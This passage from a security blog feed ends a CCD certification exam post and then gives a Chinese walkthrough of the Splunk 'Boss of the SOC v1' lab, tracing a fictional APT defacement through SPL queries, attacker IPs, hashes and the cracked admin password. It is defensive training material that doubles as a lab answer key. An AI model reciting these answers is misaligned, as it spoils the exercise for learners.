前解完然後搭客運衝上去就安全上壘了，因此開始刺激的瘋狂解題，結局是有完整的將威脅狩獵解完，並且每題都檢查一遍，威脅狩獵的題目整體中偏高，主要威脅狩獵都會需要使用到網路鑑識以及硬碟鑑識的概念，並且 ELK 的語法要很熟，所以難度會比硬碟鑑識與記憶體鑑識還要高一點。</p><p>整體考試給我的感覺時間其實給的挺充裕的，根據官方說法</p><blockquote><p> 設 48 小時是希望你有足夠時間，不要太過壓力。</p></blockquote><p>另外考的內容有些會出現在課程的 Lab 中，所以考前會建議要把 Lab 全部都要完成，並且熟練每個操作。</p><h2 id="考試結果"><a href="#考試結果" class="headerlink" title="考試結果"></a>考試結果</h2><p>到了 7&#x2F;24 號我收到了我通過的結果</p><p><img src="/assets/9l2zJ2YCRBtzMSL1tJdli03OFgzmsM7cPEIt-VllvVk=.png"></p><p>除了開心以外，我期待我有沒有拿到金色的 coin，考過之後它會提供考試的結果以及每個主題的評分</p><p><img src="/assets/0d0LDQTEzgP8mcX3hGin244nmg9fD3IVe4MbvGVyv6o=.png"></p><p>可惜離拿到金色 coin 還有一點距離，然後我看到我的記憶體鑑識的評分讓我直接回去重讀記憶體鑑識，另外因為我不是當下截圖，我記得之前會詳細說每個主題評審給的建議以及回饋，但現在不見了，不確定之後會不會回來。</p><p>最後放上通過後的證書</p><p><img src="/assets/CyberDefenders-Certificate-YUNSHIUAN-CHOU-CCDL2.png"></p><p><del>另外到了現在 2025&#x2F;10&#x2F;14，我還沒收到我的銀色 coin QQ，如果來了會再補上</del></p><blockquote><p>2026&#x2F;03&#x2F;22 更新 ， 拿到銀色 coin 了，</p></blockquote><h2 id="給目前考慮-CCD-的人"><a href="#給目前考慮-CCD-的人" class="headerlink" title="給目前考慮 CCD 的人"></a>給目前考慮 CCD 的人</h2><p>建議在付錢前要先評估 4 個月內有沒有空將時間投在 CCD 當中，因為會需要花大量時間練習以及閱讀教材，但是可以學到非常扎實且豐富的內容，對於沒有接觸過藍隊的玩家，可以先嘗試玩玩看 CyberDefender 裡面的免費 Lab，看是否有興趣再付錢也不遲。</p><h2 id="給正在準備-CCD-證照的人"><a href="#給正在準備-CCD-證照的人" class="headerlink" title="給正在準備 CCD 證照的人"></a>給正在準備 CCD 證照的人</h2><p>建議威脅狩獵的題目會需要多做一點，像是判斷誰在攻擊，如何攻擊，以及判斷的 MITRE ATT&amp;CK 的 TTP 會需要多練習，而且威脅狩獵題目很多，會需要比其他題目還要再熟練一點，不然會花太多時間在上面，另外會需要自己做筆記，因為過程中可能會出現這個事件是什麼 Event ID 或者這個設定的註冊表路徑在哪裡，做筆記會省非常多時間</p><hr><h1 id="總結"><a href="#總結" class="headerlink" title="總結"></a>總結</h1><p>今天分享了 Certified CyberDefender Certification L2 的準備過程以及考試心得分享，今天也是鐵人賽的最後一天，這 30 天內分享了藍隊相關的技術與工具，包括了記憶體鑑識、OSINT、網路鑑識、硬碟鑑識以及威脅狩獵，最後以 Certified CyberDefender L2 這張證照作為結尾，<del>然後我考完這張證照我的綽號突然多一個賽博守護者了</del>，如果有任何問題都歡迎來跟我說～可以到我的 <a href="https://yunshiuan.com/">Blog</a> 找到我的聯絡方式或者瀏覽其他我寫的內容，明年希望有空可再花 30 天跟大家分享。</p>]]></content>
    
    
    <summary type="html">CCD 證照準備過程、考試心得與通過經驗分享，包含威脅狩獵、記憶體鑑識、硬碟鑑識、網路鑑識等技術內容</summary>
    
    
    
    <category term="Certificate" scheme="https://yunshiuan.com/categories/Certificate/"/>
    
    
    <category term="記憶體鑑識" scheme="https://yunshiuan.com/tags/%E8%A8%98%E6%86%B6%E9%AB%94%E9%91%91%E8%AD%98/"/>
    
    <category term="威脅狩獵" scheme="https://yunshiuan.com/tags/%E5%A8%81%E8%84%85%E7%8B%A9%E7%8D%B5/"/>
    
    <category term="Certified CyberDefender" scheme="https://yunshiuan.com/tags/Certified-CyberDefender/"/>
    
    <category term="CCD" scheme="https://yunshiuan.com/tags/CCD/"/>
    
    <category term="證照考試" scheme="https://yunshiuan.com/tags/%E8%AD%89%E7%85%A7%E8%80%83%E8%A9%A6/"/>
    
    <category term="硬碟鑑識" scheme="https://yunshiuan.com/tags/%E7%A1%AC%E7%A2%9F%E9%91%91%E8%AD%98/"/>
    
    <category term="網路鑑識" scheme="https://yunshiuan.com/tags/%E7%B6%B2%E8%B7%AF%E9%91%91%E8%AD%98/"/>
    
    <category term="藍隊" scheme="https://yunshiuan.com/tags/%E8%97%8D%E9%9A%8A/"/>
    
    <category term="SOC" scheme="https://yunshiuan.com/tags/SOC/"/>
    
    <category term="資安" scheme="https://yunshiuan.com/tags/%E8%B3%87%E5%AE%89/"/>
    
    <category term="考試心得" scheme="https://yunshiuan.com/tags/%E8%80%83%E8%A9%A6%E5%BF%83%E5%BE%97/"/>
    
    <category term="Volatility" scheme="https://yunshiuan.com/tags/Volatility/"/>
    
    <category term="Wireshark" scheme="https://yunshiuan.com/tags/Wireshark/"/>
    
    <category term="ELK" scheme="https://yunshiuan.com/tags/ELK/"/>
    
    <category term="鐵人賽" scheme="https://yunshiuan.com/tags/%E9%90%B5%E4%BA%BA%E8%B3%BD/"/>
    
  </entry>
  
  <entry>
    <title>Boss Of The SOC v1 Writeup</title>
    <link href="https://yunshiuan.com/2025/10/10/BossOfSOC/"/>
    <id>https://yunshiuan.com/2025/10/10/BossOfSOC/</id>
    <published>2025-10-10T16:00:00.000Z</published>
    <updated>2026-04-29T11:34:16.941Z</updated>
    
    <content type="html"><![CDATA[<h1 id="情境"><a href="#情境" class="headerlink" title="情境"></a>情境</h1><p>本次實作實驗聚焦在 APT（高階持續性威脅）情境與勒索軟體情境。你將扮演 Alice Bluebird 的角色——剛被聘為 Wayne Enterprises 的 SOC 分析師，負責偵測與防禦各類網路攻擊。</p><h2 id="場景-1（APT）："><a href="#場景-1（APT）：" class="headerlink" title="場景 1（APT）："></a>場景 1（APT）：</h2><p>今天是 Alice 在 Wayne Enterprises 安全部門（Security Operations Center，SOC）的第一天。Lucius 叫 Alice 坐下並給她第一個任務：一份來自高譚市警察局（Gotham City Police Department, GCPD）的備忘錄。GCPD 發現線上有證據（<a href="http://pastebin.com/Gw6dWjS9%EF%BC%89%E9%A1%AF%E7%A4%BA%E7%B6%B2%E7%AB%99">http://pastebin.com/Gw6dWjS9）顯示網站</a> <a href="http://www.imreallynotbatman.com/">www.imreallynotbatman.com</a> 在 Wayne Enterprises 的 IP 位址空間內被入侵。該駭客組織有多重目標……但他們的作案手法之一是篡改網站以羞辱被害者。Lucius 要求 Alice 判定 <a href="http://www.imreallynotbatman.com(wayne/">www.imreallynotbatman.com（Wayne</a> 企業執行長的個人部落格）是否確實遭到入侵。</p><p>在此情境中，使用者社群在瀏覽 Wayne Enterprises 網站時回報看到下列被篡改的圖片，且部分回報提到「P01s0n1vy」。若你不熟悉，P01s0n1vy 是一個曾針對 Wayne Enterprises 的 APT 組織。你作為 Alice 的目標是調查該網站篡改事件，並嘗試依照 Lockheed Martin Kill Chain 重建攻擊流程。</p><p><img src="/assets/kNpb6q5LoVBZaQL696hxc5NUhEZYM2Y6amfiOkUtQXA=.png"></p><h2 id="場景-2（勒索軟體）："><a href="#場景-2（勒索軟體）：" class="headerlink" title="場景 2（勒索軟體）："></a>場景 2（勒索軟體）：</h2><p>在第二個情境中，你的一位使用者在 Windows 桌面上看到一張圖片，表示系統上的檔案已被加密，必須付款才能取回檔案。看起來 Wayne Enterprises 有一台主機感染了 Cerber 勒索軟體，你的目標是調查這起勒索事件。</p><p><img src="/assets/XMxnyYYAgsqi2e8fgkpYi93wDgWY461l01mIV_P_MgM=.png"></p><hr><blockquote><p>Q1 : This is a simple question to get you familiar with submitting answers. What is the name of the company that makes the software that you are using for this competition? Just a six-letter word with no punctuation.</p></blockquote><p>因為題目給的環境是 Splunk，這邊回答 splunk 即可。</p><p><img src="/assets/icMNAy1R14lhSyuRYQVk2lmq8FB6TmKnw5bcI1zeRa8=.png"></p><blockquote><p>Ans :  splunk</p></blockquote><hr><blockquote><p>Q2 : Web Defacement: What content management system is imreallynotbatman.com likely using? (Please do not include punctuation such as . , ! ? in your answer. We are looking for alpha characters only.)</p></blockquote><p>題目想要找出 <code>imreallynotbatman.com</code> 網站使用了什麼 CMS 系統。</p><p>因此我們會用到 Search 功能。</p><p>來到 Search &amp; Report 頁面在 Search 欄位搜尋：</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span><span class="operator">=</span><span class="string">&quot;botsv1&quot;</span> imreallynotbatman.com</span><br></pre></td></tr></table></figure><p>在 Splunk 收到日誌或事件後，會根據設定儲存在不同的 index<br>這段搜尋語法的意思是在資料索引為botsv1中，找出字串中包含 <code>imreallynotbatman.com</code>。<br>data indexes 可以在 Setting-&gt; DATA -&gt; Index 中得知<br><img src="/assets/s7Yn9AMSgsP7iMFp1_kteGCWUZgVydpg8wxoXVaY1Mw=.png"></p><p>看第一個 Log 就可以發現使用的是 <code>joomla</code>。</p><p><img src="/assets/6KmCQjyMKDS5-zRyLEXLBBfFIzOziopvdBwhCd6LJiM=.png"></p><blockquote><p>ans : <code>joomla</code></p></blockquote><hr><blockquote><p>Q3 : Web Defacement: What is the likely IP address of someone from the Po1s0n1vy group scanning imreallynotbatman.com for web application vulnerabilities?</p></blockquote><p>接下來他想要找的是 Po1s0n1vy 用來掃描 imreallynotbatman.com 的 IP 是什麼？</p><p>有一個線索是知道這個 IP 有進行網頁漏洞掃描，有一個方向是我們可以使用在 Day17 提到的 Suricata，它會產生網路連接的 Log，因此我們搜尋的範圍可以限制在 Suricata 的 log 下，搜尋指令如下：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata http.<span class="attribute">hostname</span>=imreallynotbatman.com</span><br></pre></td></tr></table></figure><p><img src="/assets/JxJw2skLZ9umeMi8nqi2Oawi__n6MDwXb8f9NJlSCYA=.png"></p><p>然後我們想要專注的是<strong>來源 IP</strong>，因此我們會需要用到 table 語法，它可以將我們想要的欄位單獨拉出來做一張表格，讓我們可以專注在分析這個欄位上。</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata http.<span class="attribute">hostname</span>=imreallynotbatman.com </span><br><span class="line">| table src_ip</span><br></pre></td></tr></table></figure><p><img src="/assets/OhDFwdXkJxXoIpb1xqzNuy-uyBeSzR4Ds3i5LoryWiw=.png"></p><p>這邊我們獲得了每個 Suricata log 的來源 IP，接下來進行統計，因為我想要得到的是這個 IP 出現幾次，數量很多會有很高的機率是進行掃描，所以接下來會使用到 stats 語法，它提供了一些基本的統計功能。</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata http.<span class="attribute">hostname</span>=imreallynotbatman.com </span><br><span class="line">| table src_ip </span><br><span class="line">| stats count by src_ip</span><br></pre></td></tr></table></figure><p><img src="/assets/XOGDycf1lecuXmMmaM985JoLpyxsQW9OIUYvABV4ZMA=.png"></p><p>這樣就看得出來答案就是 <code>40.80.148.42</code>，另外如果想要數量由大排到小，可以使用 sort 語法，預設是由小排到大，加上 <code>-</code> 可以讓它變成由大排到小。</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">index</span>=botsv1 sourcetype=suricata http.<span class="built_in">hostname</span>=imreallynotbatman.<span class="keyword">com</span> </span><br><span class="line">| table src_ip </span><br><span class="line">| stats <span class="built_in">count</span> by src_ip </span><br><span class="line">| <span class="keyword">sort</span> -<span class="built_in">count</span> <span class="built_in">reverse</span></span><br></pre></td></tr></table></figure><p><img src="/assets/be5iJG9bbqLEDr3wZZV59naJ4B8Du_ciK_RTg4cMfdA=.png"></p><blockquote><p>ans : <code>40.80.148.42</code></p></blockquote><hr><blockquote><p>Q4 : Web Defacement: What company created the web vulnerability scanner used by Po1s0n1vy? Type the company name. (For example, “Microsoft” or “Oracle”)</p></blockquote><p>這題想要搜尋到他們使用的 scanner 工具是什麼。</p><p>一樣我們可以使用 Suricata 工具，它除了可以產生網路連接 log 之外，還可以根據自訂規則產生警報，如抓到某個掃描工具的 Signature。</p><p>所以我們可以針對 Suricata 產生的 alert 去分析：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata http.<span class="attribute">hostname</span>=imreallynotbatman.com <span class="attribute">src_ip</span>=40.80.148.42 alert</span><br></pre></td></tr></table></figure><p><img src="/assets/PF6XbKoFeldNiTIGNzQa2S3TylhVgZqSQfC96KNtyHA=.png"></p><p>signature 欄位顯示偵測到的是什麼相關操作，因此我們用 table 專注去看 alert.signature 有沒有相關的線索：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata http.<span class="attribute">hostname</span>=imreallynotbatman.com <span class="attribute">src_ip</span>=40.80.148.42 alert</span><br><span class="line">| table alert.signature</span><br></pre></td></tr></table></figure><p><img src="/assets/FFuDTSF0_gvnDMjyPdFes-eoxr2Iy8NVLD0YUvxLKZs=.png"></p><p>接下來就可以找到這個 value：</p><figure class="highlight excel"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ET <span class="built_in">SCAN</span> Acunetix Accept HTTP Header detected <span class="built_in">scan</span> in progress</span><br></pre></td></tr></table></figure><p>可以看出 Acunetix 就是我們需要的答案。</p><blockquote><p>ans : Acunetix</p></blockquote><hr><blockquote><p>Q5 : Web Defacement: What IP address is likely attempting a brute force password attack against imreallynotbatman.com?</p></blockquote><p>要找到哪個 IP 在對 imreallynotbatman.com 進行暴力破解。</p><p>需要對網站進行帳號密碼的暴力破解，會需要用到 POST 的 method，我們可以針對 POST 操作做查看，並且也會需要知道 POST 帶的資料，確認是不是在做暴力破解，查詢可以用以下指令：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">http_method</span>=POST <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http</span><br><span class="line">| table src_ip, form_data, uri</span><br></pre></td></tr></table></figure><p><code>sourcetype=stream:http</code> 代表是拿 Splunk Stream app 所收集到並且屬於 HTTP 流量資料，而 <code>dest_ip=192.168.250.70</code> 是 imreallynotbatman.com 的 IP，在前幾題的操作可以得知。</p><p><img src="/assets/YlPiSsFhTTIy4alIrPTC0E81cW-xZcJU14fKd8qyayo=.png"></p><p>這邊可以看出來是 23.22.63.114 在進行暴力破解。</p><blockquote><p>ans : 23.22.63.114</p></blockquote><hr><blockquote><p>Q6 : Web Defacement: What was the first brute force password used</p></blockquote><p>這題要獲得第一個暴力破解嘗試的密碼。</p><p>這題可以使用 sort 將時間排序：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">http_method</span>=POST <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">src_ip</span>=23.22.63.114</span><br><span class="line">| table src_ip, form_data, uri _time</span><br><span class="line">| sort _time</span><br></pre></td></tr></table></figure><p><img src="/assets/39-8d3Nvl4wzQTMjMF4pyt3Z9T5fbnjtIBP4MTLXBnQ=.png"></p><p>看到第一列的 password 參數是 12345678。</p><blockquote><p>ans : 12345678</p></blockquote><hr><blockquote><p>Q7 : Web Defacement: What is the name of the executable uploaded by Po1s0n1vy? Please include the file extension. (For example, “notepad.exe” or “favicon.ico”)</p></blockquote><p>這題要找的是 Po1s0n1vy 上傳的執行檔的檔名是什麼。</p><p>在 HTTP 中，如果上傳一個檔案會使用 <code>multipart/form-data</code>，代表會將不同 type 的資料透過一次請求傳送出去，因此我們可以用 <code>multipart/form-data</code> 縮小我們的搜尋範圍，另外語法也支援 regex，在搜尋執行檔上比較方便：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">http_method</span>=POST <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http multipart/form-data *.exe</span><br></pre></td></tr></table></figure><p><img src="/assets/YVwaJ7YoOM-RMWk-A5KU8bH-aYXv1Bg-BFKJo1a-ZSo=.png"></p><p>可以發現到上傳的執行檔檔名為 3791.exe。</p><blockquote><p>ans : 3791.exe</p></blockquote><hr><blockquote><p>Q8 : Web Defacement: What is the MD5 hash of the executable uploaded?</p></blockquote><p>這題問 3791.exe 的 MD5 值是多少。</p><p>要取得 MD5 的值，會需要看關於 winlog 的紀錄，這邊會提到一個工具 - <a href="https://learn.microsoft.com/zh-tw/sysinternals/downloads/sysmon">Sysmon</a>，它會記錄系統內發生的重要事件，包含 Process Create、Network Connect、檔案建立與變更、Registry Modification。 </p><p>以下是 Sysmon 的 Event ID：</p><h3 id="Sysmon"><a href="#Sysmon" class="headerlink" title="Sysmon"></a>Sysmon</h3><table><thead><tr><th>Event ID</th><th>說明</th></tr></thead><tbody><tr><td>1</td><td>Process Create（程式啟動）</td></tr><tr><td>2</td><td>File creation time changed（時間戳被修改）</td></tr><tr><td>3</td><td>Network connection（TCP 連線）</td></tr><tr><td>5</td><td>Process Terminate（程式終止）</td></tr><tr><td>6</td><td>Driver Loaded（驅動載入）</td></tr><tr><td>7</td><td>Image Loaded（DLL載入）</td></tr><tr><td>8</td><td>CreateRemoteThread（遠端執行緒注入）</td></tr><tr><td>9</td><td>RawAccessRead（磁碟原始存取）</td></tr><tr><td>10</td><td>ProcessAccess（程式存取他人記憶體）</td></tr><tr><td>11</td><td>File Create（檔案建立）</td></tr><tr><td>12</td><td>Registry Key Create（註冊表鍵建立）</td></tr><tr><td>13</td><td>Registry Value Set（註冊表值修改）</td></tr><tr><td>14</td><td>Registry Key Delete（註冊表鍵刪除）</td></tr><tr><td>15</td><td>FileCreateStreamHash（建立 ADS）</td></tr><tr><td>22</td><td>DNS Query（DNS 查詢事件）</td></tr><tr><td>23</td><td>File Delete（檔案刪除）</td></tr><tr><td>25</td><td>Process Tampering（程式記憶體被修改）</td></tr><tr><td>26</td><td>File Deleted and Overwritten（防止取證）</td></tr><tr><td>255</td><td>Sysmon 設定被修改（Config change）</td></tr></tbody></table><p>其中 Event ID &#x3D; 1 有 MD5 可以查看，那這樣我們就搜尋 3791.exe 的執行紀錄，獲得它的 MD5 值：</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index=botsv1 source = <span class="title class_">WinEventLog</span><span class="symbol">:Microsoft-Windows-Sysmon/Operational</span> <span class="number">3791</span>.exe <span class="title class_">EventCode</span>=<span class="number">1</span></span><br></pre></td></tr></table></figure><p><img src="/assets/juHx-R1ointkAU6o-_IgpSKURGIDc0xy64Q9Lcizq1g=.png"></p><p>而我們專心看這個紀錄：</p><p><img src="/assets/VtTVFx0LRq1LMC0GeOJe7sqZy9cI0_yULvm2phY2C7Q=.png"></p><p>它的 ParentCommandLine 是 <code>cmd.exe/c &quot;3791.exe2&amp;gt;&amp;amp;1</code>，以及這邊顯示的 <code>&lt;DataName=&#39;Image&#39;&gt;C:\inetpub\wwwroot\joomla\3791.exe&lt;/Data&gt;&lt;DataName=&#39;CommandLine&#39;&gt;3791.exe</code>，代表這個紀錄是關於 3791.exe 的資訊，所以往後面看它的 MD5 值是 AAE3F5A29935E6ABCC2C2754D12A9AF0。</p><blockquote><p>ans : AAE3F5A29935E6ABCC2C2754D12A9AF0</p></blockquote><hr><blockquote><p>Q9 : Web Defacement: What was the correct password for admin access to the content management system running “imreallynotbatman.com”?</p></blockquote><p>這題想要問是哪個密碼成功進入了 imreallynotbatman.com。</p><p>我們可以在解 Q5 的時候知道登入的頁面是在 <code>/joomla/administrator/index.php</code>，並且它是用暴力破解的方式嘗試登入系統，所以如果有一個密碼與其他登入次數比其他的還多就有可能會是正確的密碼，但是它的密碼是放在 form_data 欄位，這個欄位會包含其他的文字資訊，因此我們會需要用到 rex 語法：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| stats count by pass</span><br></pre></td></tr></table></figure><p>rex 的欄位說明如下：</p><ul><li>field&#x3D;form_data：表示只在事件的 form_data 欄位內容中執行正規表達式（而不是整個 _raw）。</li><li>“passwd&#x3D;(?<pass>\w+)”：正規表達式本體：<ul><li>passwd&#x3D;：字面匹配字串 passwd&#x3D;（例如 HTML 表單或 HTTP body 裡的參數名）。</li><li>(?<pass>\w+)：命名捕獲群組，會把匹配到的內容放到 Splunk 欄位 pass 中。<ul><li>\w+ 表示一或多個「字母、數字或底線（underscore）」。</li></ul></li></ul></li></ul><p>原本的 form_data 長這樣：</p><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">username</span><span class="operator">=</span>admin<span class="variable">&amp;task</span>=login<span class="variable">&amp;return</span>=aW5kZXgucGhw<span class="variable">&amp;option</span>=com_login<span class="variable">&amp;passwd</span>=topgun<span class="variable">&amp;49e63c55a9730eee52c7ea0448de3a01</span>=<span class="number">1</span></span><br></pre></td></tr></table></figure><p>因此它會提取 <code>passwd=</code> 後面的字串，直到碰到不是字母、數字或底線為止，然後它會變成單獨的 pass 欄位。</p><p><img src="/assets/bDwPdvFgqR8HTS-_cHAqJUw8P4v7Kczqt2wjET1hwak=.png"></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| stats count by pass</span><br><span class="line">| sort -count</span><br></pre></td></tr></table></figure><p><img src="/assets/O7MkDnpyKaqjyMnhCJipRzitRuH_45-EXW9K7hO0R2I=.png"></p><blockquote><p>ans : batman</p></blockquote><hr><blockquote><p>Q10 Web Defacement: What is the name of the file that defaced the imreallynotbatman.com website? Please submit only the name of the file with the extension (For example, “notepad.exe” or “favicon.ico”).</p></blockquote><p>題目想問是哪個檔案名稱污染了 imreallynotbatman.com 網頁。</p><p>這邊應該是想要問情境 1 當中進入網站出現一張圖片。</p><p>代表它之前可能會去下載過，因此可以用以下指令查詢它之前請求的頁面：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">src_ip</span>=192.168.250.70 </span><br><span class="line">| table site src_headers</span><br></pre></td></tr></table></figure><p><img src="/assets/Q4BQsOFmAx6I7jH9goDcf-MGpRlOr2Ocb1LG0GUrdu8=.png"></p><p>這邊可以看到它去一個網頁請求 <code>poisonivy-is-coming-for-you-batman.jpeg</code> 圖片，這個就是答案。</p><blockquote><p>ans : poisonivy-is-coming-for-you-batman.jpeg</p></blockquote><hr><blockquote><p>Q11 : Web Defacement: This attack used dynamic DNS to resolve to the malicious IP. What is the fully qualified domain name (FQDN) associated with this attack?</p></blockquote><p>這題想要問是哪個FQDN 在進行攻擊</p><p>在Q10 可以看到 192.168.250.70 對prankglassinebracket.jumpingcrab.com 請求圖片，而prankglassinebracket.jumpingcrab.com 就是我們想要的答案</p><p><img src="/assets/Q4BQsOFmAx6I7jH9goDcf-MGpRlOr2Ocb1LG0GUrdu8=.png"></p><blockquote><p>ans : prankglassinebracket.jumpingcrab.com</p></blockquote><hr><blockquote><p>Q12: Web Defacement: What IP address has Po1s0n1vy tied to domains that are pre-staged to attack Wayne Enterprises?</p></blockquote><p>從Q11 我們可以得到他去請求的 FQDN 叫做 <code>prankglassinebracket.jumpingcrab.com</code> ，我們可以再確認一下這個 FQDN 的 IP 是什麼</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">src_ip</span>=192.168.250.70</span><br><span class="line">| table src_ip,dest_ip,site,src_headers</span><br></pre></td></tr></table></figure><p><img src="/assets/2ChrVHaw6WBVh-DZf7m-0KgknWSklENqTx-sjMpnjb4=.png"></p><p>最下方可以看到 23.22.63.114 對應的 FQDN 就是 prankglassinebracket.jumpingcrab.com ，23.22.63.114 在Q5 我們確定它是在進行暴力破解登入後台，因此23.22.63.114 就是我們這題的答案</p><blockquote><p>ans : 23.22.63.114</p></blockquote><hr><blockquote><p>Q13 : Web Defacement: Based on the data gathered from this attack and common open-source intelligence sources for domain names, what is the email address most likely associated with the Po1s0n1vy APT group?</p></blockquote><p>這題需要利用前面蒐集到的資料獲得 Po1s0n1vy APT 組織相關的電子郵件地址</p><p>總結一下我們目前得到的</p><ul><li>23.22.63.114 (prankglassinebracket.jumpingcrab.com) : 暴破密碼，送圖片</li><li>40.80.148.42 : 掃描網頁漏洞</li></ul><p>接下來我將23.22.63.114丟進 VirusTotal ，可以看到它之前解析為Po1s0n1vy.com</p><p><img src="/assets/xd27jCJYccOCx5qdHj2Zq1apiGGRst3gNdmbViatinA=.png"></p><p>而在情境敘述中的備忘錄也有提到Po1s0n1vy.com這個網站</p><p>接下來可以使用 <a href="https://www.whoxy.com/">whoxy</a> 這個網站，它可以幫我們查關於這個網域的資訊，另外也可以查詢誰之前擁有了這個網域。</p><p>查詢結果如下</p><p><a href="https://www.whoxy.com/po1s0n1vy.com#history">https://www.whoxy.com/po1s0n1vy.com#history</a></p><p><img src="/assets/cffA2Y3jHDGoOTdqfSE7l0V6BpAyBkAYzVdGcD_75-4=.png"></p><p>這邊可以看到 Email 是<a href="mailto:&#x6c;&#x69;&#x6c;&#x6c;&#x69;&#97;&#x6e;&#x2e;&#114;&#x6f;&#x73;&#x65;&#x40;&#112;&#x6f;&#49;&#115;&#48;&#110;&#49;&#x76;&#121;&#x2e;&#99;&#111;&#109;">lillian.rose@po1s0n1vy.com</a> </p><p>這邊不是其他的email 是因為題目給的格式是<code>------*.---*@---------*.---</code></p><blockquote><p>ans : <a href="mailto:&#x6c;&#105;&#x6c;&#108;&#105;&#97;&#110;&#x2e;&#114;&#x6f;&#115;&#101;&#64;&#x70;&#x6f;&#x31;&#115;&#48;&#110;&#49;&#118;&#121;&#46;&#99;&#x6f;&#109;">lillian.rose@po1s0n1vy.com</a></p></blockquote><hr><blockquote><p>Q14 : Web Defacement: GCPD reported that common TTP (Tactics, Techniques, Procedures) for the Po1s0n1vy APT group, if initial compromise fails, is to send a spear-phishing email with custom malware attached to their intended target. This malware is usually connected to Po1s0n1vy’s initial attack infrastructure. Using research techniques, provide the SHA256 hash of this malware.</p></blockquote><p>題目說GCPD 報告指出Po1s0n1vy 如果初始的攻擊失敗，接下來會寄釣魚信件並戴上惡意附件，而這個惡意附件的程式會常常與Po1s0n1vy 的基礎攻擊設施做溝通，想問這個惡意程式的 SHA256</p><p>在 VirusTotal 中，關於 IP 會顯示之前出現惡意軟體與這個 IP 連線的功能，因此我們將23.22.63.114 丟進 VirusTotal 中，並選擇 Relation 頁面。</p><p><img src="/assets/U2Zb0bpFQ_0lNJMMVHXv1gq10LH72ViVl1NiWeKGRKM=.png"></p><p>那經過嘗試答案會是 MirandaTateScreensaver.scr.exe ，點進去後就會拿到這個惡意程式的 sha256</p><p><img src="/assets/kAguqxryYp9DeA6kjwiYTuLJwRJMoJx0vsAx-KtPlVM=.png"></p><blockquote><p>ans : 9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8</p></blockquote><hr><blockquote><p>Q15 : Web Defacement: What is the special hex code associated with the customized malware discussed in the previous question? (Hint: It’s not in Splunk)</p></blockquote><p>這題想要得知前一題的惡意程式的special hex code</p><p>這題會需要看VirusTotal 的<a href="https://www.virustotal.com/gui/file/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8/community">Community</a> 頁面，因為有些人會在這邊貼出報告以及special hex code</p><p><img src="/assets/XitpF8FFxr2ZS_0sxAJxeZAZUpoxNasnAMTKP2ZW8A4=.png"></p><blockquote><p>ans : 